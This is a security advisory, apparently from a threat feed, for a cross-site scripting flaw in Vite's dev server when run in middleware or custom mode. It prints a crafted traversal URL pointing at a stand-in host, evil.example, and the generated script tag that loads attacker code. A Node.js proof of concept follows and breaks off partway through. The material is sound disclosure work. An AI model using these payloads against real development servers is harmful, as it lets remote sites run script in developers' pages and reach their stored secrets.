Threats Tagged 'ghsa-9jrq-w75r-8gcw'

### Summary When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server. ### Impact Only apps that match the following conditions are affected: - the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this. - the transformed HTML contains an inline module script - from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions ### Details [Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform: ```js const url = req.originalUrl template = await vite.transformIndexHtml(url, template) ``` For a development server at `http://localhost:5173`, an attacker can send this URL: ```text http://localhost:5173//evil.example/payload.js?/../../package.json ``` In Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text. Chromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`. [The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`: ```html <script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script> ``` The generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page. ### PoC ```js import { createServer as createHttpServer } from 'node:http' import { createRequire } from 'node:module' import { dirname, join } from 'node:path' import { fileURLToPath, pathToFileURL } from 'node:url' const directory = dirname(fileURLToPath(import.meta.url)) const require = createRequire(join(directory, 'package.json')) const { chromium } = require('playwright-chromium') const viteModule = await import( pathToFileURL(require.resolve('vite')).href ) const createViteServer = viteModule.createServer ?? viteModule.default.createServer // This loopback server stands in for a separately hosted attacker website. const attackerPort = 4173 const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json` const html = '<script type="module">document.body.textContent = "Vite app"</script>' const listen = (server, port = 0) => new Promise((resolve, reject) => { server.once('error', reject) server.listen(port, '127.0.0.1', () => { server.off('error', reject) resolve(server.address().port) }) }) const close = (server) => new Promise((resolve, reject) => { server.close((error) => (error ? reject(error) : resolve())) }) let attackerRequest = null const attacker = createHttpServer((request, response) => { attackerRequest = request.url response.writeHead(200, { 'access-control-allow-origin': '*', 'content-type': 'text/javascript', }) response.end( "document.documentElement.dataset.viteXssPoc = 'executed'", ) }) const vite = await createViteServer({ appType: 'custom', configFile: false, root: directory, server: { hmr: false, middlewareMode: true, watch: null, }, }) const application = createHttpServer((request, response) => { vite.middlewares(request, response, async (error) => { if (error) { response.destroy(error) return } try { const transformed = await vite.transformIndexHtml(request.url, html) response.writeHead(200, { 'content-type': 'text/html' }) response.end(transformed) } catch (transformError) { response.destroy(transformError) } }) }) await listen(attacker, attackerPort) const applicationPort = await listen(application)